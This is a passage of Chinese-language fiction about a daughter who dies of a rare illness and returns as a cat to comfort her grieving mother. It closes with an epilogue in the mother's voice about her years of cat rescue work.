“不这样道歉，我就拿着监控把事情闹大，捅到教育局去，我还要报警。” 对，我还留了个小心眼，前几次他骚扰我都没有监控，这次我特地跑到了有监控的地方，把他引了过来，留下了证据。 开玩笑，我可是陈女士的女儿，我可不是孬种。 陈女士说着还装模作样地给教育局的什么领导打了电话，把对方给唬住。 最后他在班上公开道了歉，还转学了。 我对她说：“妈，你演技可真好，教育局领导什么时候成你朋友了。” “我没演啊，我真认识。你妈我平时虽然不喜欢攀附关系，但关键时刻还是有用的。” 我就是那个“关键时刻”。 后来妈妈也试图找各种关系问我的治疗方案，她有些学医的学生，都不联系很久了，也被她找出来问。 哦对不起，话题扯远了。 我妈说：“以后还有人敢欺负你，你告诉妈，妈跟他们拼命。” 我抱了抱她：“你那天在学校的风采，谁还敢欺负我。” “而且你跟人拼命，我怎么办？” 后来，我大学毕业不是分手了吗，我大姨就开始往我这塞相亲对象。也不知道是人家给了她好处，还是她单纯有这个爱好，我还是更偏向前者，因为她给我介绍的都是什么玩意儿，男人中的败类，奇葩中的翘楚。 细节我就不描述了，你自己脑补吧。 我妈一开始还是支持大姨的，认为我可以先认识，不一定要急着结婚嘛，多见点人也没坏处。 有一天我终于受不了了，和我妈吐槽了这件事，我发誓我仅仅只是吐槽而已，因为那个时候我已经知道了大姨的不靠谱，为了应付她别来叨叨，会加上聊几句便作罢。 可我妈把我的话放心上了，她居然去找大姨理论。 我大姨本来就是个嘴上没门的，听见我妈质问她，直接发火：“我介绍的怎么不好了？你也不看看你们家乐萱什么条件，学历一般，还没了爸，能找到这样的已经是烧高香了！” 我妈“呸”：“我家乐萱怎么不好了？学历一般那也是她自己一分分考出来的，没花我一分钱补习，不像你儿子，十几万投进去了最后还是个大专！还有啊，没爸是吧，那总比有爸但在外面花天酒地强！我乐萱，无论是长相还是工作，哪里配不上好人家？我告诉你，你要是再拿一些歪瓜裂枣塞给乐萱，你儿子交一个女朋友我搅黄一个，告诉她们你儿子是个妈宝男，未来婆婆势利眼，重男亲女，未来公公到处乱搞！” 我:......妈你太生猛了。 不过发挥的还是差了点，谁叫她是个文化人，能到这个程度已经不错了。 而且，我难得听她夸我一次，乐呵呵地问：“妈我真这么好吗？” 她转头就收敛了：“反正不差。” 怎么又嘴硬上了。 你问我为什么执意回到她身边，这不就是一点嘛，没有我，我妈连架都没人吵，多无聊。 唉，我们母女俩好像倒霉到底了。 有一天，我浑身上下都开始不舒服，我以为是我那段时间熬夜太厉害了呢，没在意，可我妈执意拉我去医院检查。 一检查，天塌了，这病要命。 没办法，那就开始治疗嘛。 我的病情复杂，是基因缺陷的罕见病理，全世界都没有多少例，难上加难。 我和妈妈都没有放弃希望，前前后后去了许多医院，最后一次住院时，我甚至觉得自己快好了，身体虽然还是虚弱，但比起之前好像松快了些。 医生把妈妈单独叫过去说话，回来后，我妈就让我收拾东西回家。 我惊喜：“我是不是快好了？” 难道这个世界上真的有奇迹？ 我无法形容我妈那时候的表情，她长叹一口气，坦然又悲哀：“不，你快死了。” 我：...... 这么直接？ 我妈是不是台词没对？一般这种情节，不应该是瞒着当事人，说恢复得很好，让她心情舒坦一点吗？ 陈女士看出了我的疑惑，她说：“如果我骗你，说你快好了，让你怀着能活下去的希望，然后不明不白地走了，你觉得这样你会好受？还是我能原谅自己？” 她握了握我的手，她手心冰凉，有许多老茧，深深地烙在我的掌心：“跟妈说说，还有什么想做的事没有做？” 我也接受了这个事实，想了想，问：“什么都可以吗？” 她点头。 我：“我想养只猫！” 她果断摇头：“这个不行。” 我不高兴：“为什么！不是什么都可以吗？我这身体，又去不了太远的地方，养只猫在家里还不行。” 我妈说：“猫有细菌，会影响你的身体。” 我反抗：“猫很干净！而且我都要死了，还怕什么。” 陈女士用眼神拒绝我。 我跟在她身后求了好久：“我就想要只猫咪陪陪我。” 她：“不行就是不行。” 回家后，我们关着门冷战了一天。 虽然是冷战，但她会时不时地打开门确认一下我的状况，直到最后一次，我憋不住了：“放心，我还没死呢。” 我起身，发出和解请求：“算啦，如果我的人生只剩三十天，那就白白浪费了一天，我不跟你争了。而且我想了想，留只我养过的猫给你天天看着，你也会难受。” 我知道，虽然她已经接受了我必死的结局，但她还是希望我能多活一天是一天。 之前从来不碰互联网的老古板，从我生病开始，注册了各个平台的账号，四处询问，试图找到哪怕一点点我能活下来的希望。 还被骗过钱呢。 我妈以前防诈意识很强，可为了我，心甘情愿地上当受骗。 其实我也没什么特别想做的事儿了，主要是这副身体去哪都够呛，别在半路就折掉了。 以前爱玩儿，放假就出去玩，现在索性就在家里陪陪陈女士呗。 有天她做饭的时候，我问她：“妈，你有想象过没有我的日子吗？” 她手上的动作停了一下，然后假装没听见我的问题，继续做饭。 我上前追问：“你得想一下，然后提前做好心理准备。” 她突然哭了，眼泪啪嗒啪嗒地往下掉，那天的汤咸得过分，我估计是她的眼泪起了作用。 我道歉：“对不起嘛，我不该问你这个问题。” 我们接受过许多死亡教育，但亲自 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我用剩下一点点的钱给她买了个新的冰箱，之前那个，年龄都快和我一样大了。 ...... 从小就是我妈照顾我，换我照料她一次，才发现我能做的太少太少。 时间是最大的问题。 那段时间，我们都很害怕看到亲情有关的电视情节或者短视频，不小心撞上，我就会打着哈欠装困：“我要去睡了。” 我会给她放渣老头的情节，叮嘱她：“如果你以后要结婚，要找老头，你记得擦亮眼睛，一是找个身体好点的，二是别找骗你钱的，以后你的退休金不少，还只有你一个人花，你就是这小区的老富婆，别让哪个坏老头盯上了，说不定人一家都图你钱。” 她笑笑：“你这孩子现在这么唠叨呢，什么老富婆，除了你啊没人惦记你妈的钱。” 我皱眉：“你别把人都想得太好了。” 我突然发现，那一刻，我们的角色好像调换了，这些话，都是她以前对我说的。 最后几天，我已经站不起来了，我让妈妈推着轮椅带我去外面走走。 快三十度的天气，我妈把我裹得严严实实的。 吹着江边的暖风，我很惬意。 “妈，有些话好像是骗人的，总说冬天难熬，等天气暖和起来就好了，可天热了我却要死了。” 我妈不说话。 我指着不远处一个玩耍的小姑娘说：“妈你看，那个小女孩真漂亮。” 我妈说：“你小时候也漂亮。” 她还补充一句：“现在也是。” 我妈就会睁眼说瞎话，我那时候丑死了，瘦得跟骷髅一样。 那个小姑娘和她妈妈注意到我们了，年轻的妈妈在小女孩耳边说了什么，她小跑过来，把刚买的花送给我：“姐姐，祝你天天开心。” 她笑得很甜，我感慨：“每当这时候我就觉得活着真好。” 我本人是很讨厌刻意煽情的，讨厌电影情节里一些刻意制造的泪点，可那时候我还是情不自禁地问出那句话：“妈，对不起，你会怪我吗？” “怪你干嘛，你有什么错。”我妈有些哽咽，“妈也没有对不起你，你也别怪妈，妈妈也尽力了。” 我笑了笑，是发自内心的开心。 我知道她已经付出了全力，我们本来就不该怨来怨去，谁也没有对不起谁，只不过是上天分给我们的时间少了一点。 “妈，只要你不会忘了我，我就不会消失。但我知道，你肯定不会忘了我。”我说，“你不爱上网，现在都流行说，真正的死亡是被人遗忘，我可能会在你生活的各个角落看着你，你不要害怕。” “我害怕什么，妈巴不得你来找我，跟我讲讲，你在那边遇到什么稀奇事。” 我妈：“你来找我的时候别哭鼻子，不好看。” 我：“那我可能会忍不住哦。” 我妈还不知道，其实我只有在她面前爱哭，在外面我都很坚强的。 “我没什么要说的啦。” “哦，妈你的发型不好看，显老，明天去换一个呗。” 说着没什么要说的，一想起来却又说不完：“帮我跟张小果说一声，我给她留了笔看演唱会的钱，不多，只够她一个人的，别让她带男朋友去。还有，再劝劝她，天下那么多男人，别整天为一傻逼哭哭啼啼的。“ 我妈问：“你怎么不自己告诉她？” 我：“她一见着我，哭得喘不上气，哪还听得进去我说的话。” 我转头看了眼妈妈，准备叮嘱最后一件事。 真的是最后一句了。 “妈妈，别再偷偷染头发了，其实你白头发也挺好看的。” 还好我之前把该说的话都说完了，因为到最终，真的一句话也说不出来。 我只努力地发出了“妈妈，再见，我爱你。”这几个字。 然后我的身体飘了起来。 原来人死了后是这种感觉，像飘在空中的泡沫，很轻盈。 我在半空中，看见妈妈抱着我的身体，失声痛哭。 哭吧，妈妈，我知道你已经忍了许多天。 她抱着我的身体，回应着已经死去的我：“妈妈也爱你，妈妈也爱你啊......” 我妈之前是个典型的传统中式妈妈，很少直接说“我爱你”这三个字，但也没关系，我能感受到她很爱我。 ...... “停一停。”大块头突然叫住了我，“差不多了。” 我这一番讲述，他没哭，只是有些神伤，不过我已泪流满面。 他好像良心发现，不好意思地说：“其实我是逗你玩的，没有必须口述说服我这一规定。” 我哭得更凶了：“呜呜呜你太过分了，逗我玩儿开心吗！我不管，你要让我变成一只小猫，不然我就投诉你！” 他开了通行证：“去吧，能不能变成猫我不能保证，但你能回到你妈妈身边了。” * 我好像又面临了之前那个问题，“李乐萱”的身份只剩下七天，我该做些什么呢？ 可是我现在是只小猫咪，好像也做不了什么。 做到陪在妈妈身边，不捣乱，不生病，好像就足够？ 但我还是想做点什么。 第二天晚上，我妈妈睡前倒了一杯水带进卧室，她以前总说睡前不喝水，我知道她又要吃安眠药了。 我疯狂地挠门，再大声嚎叫，我妈终于受不了了，打开门让我进去。 我跳上床，目的明确，打翻了那瓶安眠药。 我妈把我抓住，轻轻地揍了我两下，但或许是上次百合花的事，她觉得我调皮之余多少有点灵性。 “好，外婆不吃了。” 我想告诉她，和猫猫一起睡觉会治疗失眠，但她显然听不懂，还是把我关在门外。 我只好再次在门口撒泼。 没办法，当猫就只有这点招数了。 我妈妥协了，打开门让我进去：“行吧，那你进来睡吧，你可不能再闹腾了，二宝。” 那晚，妈妈睡得很香，第二天又恢复到了七点起床。 她甚至在卧室门上开了道小门，是我的专属猫猫门，方便我进出。 我知道她这样做，不仅是感受到了我会助眠的神奇，而是她从我的前世深刻地体会到了，太多意外无法预知，她如今只想让这只小猫快乐一点，想做什么做什么。 我就这样，躺在妈妈的臂弯里，做了六个美梦。 第七个晚上，我喵喵喵地说了很多话，和妈妈讲我在那边遇到的稀奇事，这是她爱听的，虽然听不懂，但我乐意说，她也和我有一句没一句地说着别的。 这样对不上号的沟通，我们都乐在其中。 我无法再控制我的记忆，但能让这具身体形成惯性，让小猫每晚都陪着妈妈，助她入梦。 这是我作为猫猫，最后能做的事儿了。 不对，这次不是最后。 从明天开始，我，李乐萱，就会变成陈二宝，都是妈妈的宝贝，除了名字不一样，并没有区别。 7. 番外 算起来，乐萱走了十年了。 我也六十了。 我刚去参加完一场葬礼，老同事去世，我去送了一程。 人到了这个年龄，好多长时间没见的朋友，再见之时，不是在他们孩子的婚礼上，就是在他们自己的葬礼上。 乐萱去世的时候，我没给办葬礼，是孩子自己要求的。 她说，不喜欢大家哭作一团，也不想要我强撑着精神去应付大家。 就让大家自然而然地接受这个事实。 我没有直接回家，而是去墓地看了看她。我看她不挑节日或者特殊日子，想她了就去一趟，说说话，可这孩子从不来看我，不知道是不是已经转世了。 从墓地出来，我去宠物店买了些罐头。 我的猫，叫陈二宝，捡到她的时候快一岁，现在也是只老猫了，最喜欢吃打成糊糊的罐头。 很多年前，我从来没想过自己会养宠物，并且阻止乐萱也不要养。 乐萱走后，我后悔了很久。 孩子最后的愿望就是养只猫而已，我为什么那么固执地阻挠她呢。 有天我下班回家，在草丛边看见了一只小猫。她趴在那里，可怜巴巴地望着我，我于心不忍，身上没有猫食，便买了根火腿肠给她吃。 我把火腿肠掰碎，放在地上，她走近闻了闻，小心翼翼地吃了起来。 我说：“咪咪，饿了吧？” 家里还有乐萱之前买来喂流浪猫的猫粮，我想着上去拿下来给她倒一点吃。 可是再下来的时候，小猫不见了，地上的火腿肠还没吃完。 再见到她是一个雨天，她躲在角落瑟瑟发抖，眼睛圆溜溜的，无助地望向我。 我突然想起来，乐萱最后的时候，我问过她，下辈子想做什么。 她回答起来，眼睛亮亮的：“我想当一只小猫，漂亮的小猫，眼睛圆圆的，脸也圆圆的。” 我承认，我心软的一部分原因是因为乐萱的话。这只小猫或许就是她所说的，漂亮的圆脸小猫。 一开始这只小猫并不亲我，不知道是不是在外流浪久了，每天无精打采的，我本打算那天下班带她去医院看一看，可她却像突然变了只猫，变得活泼又粘人，每天还有说不完的话。 我听不懂她喵喵叫到底在说什么，但我能感觉到她在表达喜欢。 我也开始和她说话，她一句我一句，语言不通，但心意是相通的。 我开始理解乐萱为什么总闹着想养一只猫，这小家伙，确实能治愈人。 可某天开始，她变得不再过分活泼，不变的是依然很粘我，每晚还要挨着我睡觉。 我开始不再对猫毛那么敏感，都是自家孩子身上的，能有多脏。 就像乐萱小时候，屎尿还不都是我收拾的。 我以前排斥养猫，乐萱总试着说服我，告诉我养了之后就会“真香”。 我说：“照顾你一个就够折腾你妈了，还养只猫，你看我像不像一只猫？” 其实那时候我只是图个嘴快而已，乐萱很乖，从没给我添过麻烦。 而且，就算是她给我添麻烦，也没什么。 母女一场，本来就是互相依赖的，那不叫麻烦。 她乖巧也是因为，觉得这个家里少了爸爸，不想让我再那么累。 小裴那次说她像小太阳，是啊，她就是我的小太阳，我们的小太阳。 从她出生开始那天，就在逗我开心。 我给她取名叫乐萱，乐是希望她永远快乐，萱是觉得很适合女孩子，甜甜的。 她真的长成了小甜豆，跟在我身后妈妈妈妈，永远笑得很甜，会撒娇哄我开心。 我觉得这就够了，只要她开心，健康地长大就足够了，不需要成为多么厉害的人物。 可惜，这么简单的愿望，都没实现。 算了，不说那些伤心的话，乐萱看见的话也不好受。 这些年，我很少去回想那段时光，一想起来就钻心地痛。我的乐萱，最后过得多苦啊，身上没有一处是好的，她那么爱漂亮的小姑娘。 每次她痛到不能忍受的时候，就会把我赶出去，我隔着门，听见她的痛苦的呻.吟被闷在被子里，我跟着痛到无法呼吸。 多么想，受罪的是我就好了，让我替她疼，我这一把年纪了，要死的人该是我，我女儿的人生才刚刚开始啊。 我在她面前说过一次这样的话，她生气板着小脸，让我不许再说了，我便答 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我也是，身体硬朗着呢。 我想是乐萱在保佑我们。 这些年，我开始外出运动，资助了几个学生，还干起了猫咪救助。 整个救助群里，我是年龄最大的，小孩们都叫我玲姨。 我捐款，抓流浪猫去绝育，给它们找靠谱的领养，还用闲钱建了个救助站，一干就干了快十年。 我这样做，也是想，乐萱生前最喜欢猫了，我多做一点，给她积点德，希望她下一世，千万不要再生病。 我看着乐萱的照片，有时候也想，如果她还活着，现在是什么样子，会不会也结婚了，生一个和她长得像的小女孩？ 可她总说自己不想结婚，她想盖个小院子，养许多的小猫。 如果她看见现在的我，一定会手舞足蹈地说：“妈妈，你好酷，你干了我最想做的事！” 乐萱，妈妈好想你。 但妈妈更想祝福你，无论你去了哪，做了谁的孩子，你都能自由地做自己，永远平安，永远健康。